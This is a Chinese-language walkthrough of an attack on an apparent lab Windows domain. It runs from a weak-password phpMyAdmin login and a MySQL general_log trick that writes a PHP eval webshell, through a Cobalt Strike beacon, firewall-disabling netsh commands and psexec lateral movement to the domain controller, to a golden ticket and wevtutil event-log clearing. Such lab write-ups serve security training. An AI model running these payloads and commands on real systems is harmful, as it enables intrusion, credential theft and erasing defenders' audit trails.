0x01 环境搭建

主机 IP Address
kali(vps) 192.168.31.128
win11(ATT) 192.168.31.1
win7(web) 192.168.31.129/192.168.52.143
win2008(DC) 192.168.52.138
win2003 192.168.52.141

0x02 外网渗透

2.1 信息收集

1
./netscan.exe scan -t 192.168.31.0/24 -c 1500 -p 1-65535

这里我用自己用go开发的内网扫描工具扫描了31段存活的主机因为这样扫描更快一些。

开启额3306和80端口,从web指纹识别可以看出来是phpstudy探针

访问80端口试试看:

php探针页面,下面可以测试数据库连接,直接弱口令尝试:root/root

没想到一下就猜出来了哈哈哈哈哈哈哈哈哈。

这时候就要尝试远程登录他的数据库了:

可惜不让使用外部连接,这时候我们用dirsearch跑的目录应该也差不多了,去瞧一瞧:

这里我们扫到了phpMyAdmin这个目录,刚才拿到的数据库账号密码就可以使用了。

登录上来看到这里的数据库,进去翻了翻没什么特别有用的东西,就简单把一些用户名密码记录了一下。

接下来看看数据库是否有写入文件的权限:

show global variables like "secure_file_priv";

  • 值为NULL,表示禁止文件的导入与导出
  • 值为某一目录,表示只能对该目录下的文件导入与导出
  • 值为空,表示不对文件的读写进行限制

我们这里很明显不能写入文件,尝试用其他方式写马。

show global variables like "general_log%";查看日志功能。

日志功能是关着的,而且路径是:C:\Users\Administrator\Desktop\phpStudy\MySQL\data...

打开日志功能并修改日志存放位置,修改为网站的目录下:

set global general_log='on'; //开启日志

set global general_log_file="C:/phpStudy/WWW/shell.php" //修改日志存放位置

2.2 日志写马

思考

mysql日志记录的是什么,记录的内容是不是sql语句的执行?

1
那就直接执行webshell即可被记录到日志后缀为php文件,若被解析则就GetShell了。

在Web端执行select "<?php @eval($_POST['cmd']);?>";

之后关闭日志记录

set global general_log=off;

成功执行,尝试使用蚁剑连接:

浏览器可以看到已经可以正常访问了,之后就是用蚁剑连接了。

成功连接,拿到administrator权限,下一步就是上线CS了

0x03 上线CS

3.1 生成监听器

3.2 生成木马

3.3 上传并执行木马

成功上线CS

0x04 内网渗透

4.1 主机信息获取

1
2
3
whoami							# 当前用户
net user # 当前主机用户
net localgroup administrators # 当前管理员组用户
1
2
3
4
5
6
7
8
9
10
11
12
# 操作系统信息
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
# 系统架构
echo %PROCESSOR_ARCHITECTURE%
# 安装的软件
wmic product get name,version
# powershell收集
shell powershell Get-WmiObject -class win32_product
# 进程信息
shell wmic process list brief
# 防火墙策略信息
shell netsh advfirewall show allprofiles
1
2
3
4
5
6
# 域内信息
net config workstation # 查看当前工作环境
net view # 查看域内用户
net time /domain # 查询域控
ping DNS域名 # 得到域控IP
nslookup 域名 # 解析得到域控IP

4.2 权限提升

监听器选择刚才设置的web监听器,Exp选择svc-exe就可以了,别忘记修改回环间隔时间,因为我们是打的靶机,所以改成1S就可以了,如果实战不要这样很容易被发现。

执行完之后发现会话窗口多出一个usersystem的主机证明提权成功了。

在我们拿到system权限之后就可以尝试抓取主机的密码了。

这里我们抓到了密码为:123.com

这个时候我们找一下域内成员和域控主机

可以看到有三个成员,我们控制下的这个是STU1,域控主机为:OWA

在前面我们搜集到的防火墙是开着的,这时候要保证我们能进一步渗透就要关掉这个恶心人的东西了。

1
2
shell netsh firewall set opmode disable		  # windows 2003之前
shell netsh advfirewall set allprofiles state off # windows 2003之后

4.3 横向移动

我们已经掌握域控的内网IP了,加下来就要进行横向移动拿下域控主机。

扫描内网主机端口,进行大范围端口扫描

这里一定要选择内网的网段,不要选错,时间会长一些,稍微等一会,这时候可以喝口水或者听首歌缓解一下心情。

端口扫描这里我们着重看一下域控主机(192.168.52.138)的端口。

最后我们可以看到域内的三台主机都开启了445的smb服务,那我们可以建立一个smb监听,然后实现横向移动。

  • SMB监听隧道的核心原理是利用SMB协议在目标主机上建立隐蔽的通信通道,绕过传统防火墙和入侵检测系统的监控。
  • SMB协议基础:文件共享,域名解析等,默认通过445端口通信

建立好监听器后,我们切换攻击目标列表

选择域控主机进行横向移动–>psexec

监听就选择我们刚才建立的smb监听器,会话就选择我们的system权限的那个会话就可以了。

1
psexec:是用于横向移动的核心工具之一。攻击者可以通过跳板机向目标主机发送命令,目标主机执行后,将结果返回给攻击者。但我认为这并不算上线,毕竟没有进行持久的连接,只是利用两个机器间的一些信任关系进行通信。

这里我们就看到域控主机上线了,横向成功,进入域控,养成一个好习惯把防火墙关掉。

1
shell netsh advfirewall set allprofiles state off

域内另一台主机横向移动的思路是和这个一样的,按一样的操作去横向拿到另一台域主机的权限。

到这里拿下域内全部主机!

4.4 权限维持

黄金票据

黄金票据是指能够绕过认证授权机制并获得所需权限的票据。这种票据可以被攻击者收集和利用,从而从系统内部获取高权限,甚至完全控制系统。

首先我们查看我们要写的用户,把SID域名复制下来等下黄金票据要用。

选择要写票据的用户,抓取hash,再之后抓取明文密码,拿到hash,然后拿到明文密码详情页里面的SID,把SID复制下来,对域控主机选择黄金票据,把刚才复制的填进去。

等待片刻变成这样就是生成成功了,之后我们验证一下

1
run klist

0x05 痕迹清除

到现在,从外网到内网再到拿下域控到黄金票据,所有操作都会留下痕迹,所以最后一步我们就要进行痕迹清除了,从而保证我们的安全不被溯源。

1
2
3
4
5
shell wevtutil cl security			# 清理安全日志
shell wevtutil cl system # 清理系统日志
shell wevtutil cl application # 清理应用程序日志
shell wevtutil cl "windows powershell" # 清理powershell日志
shell wevtutil cl setup # 清理(cl)事件日志中的Setup事件。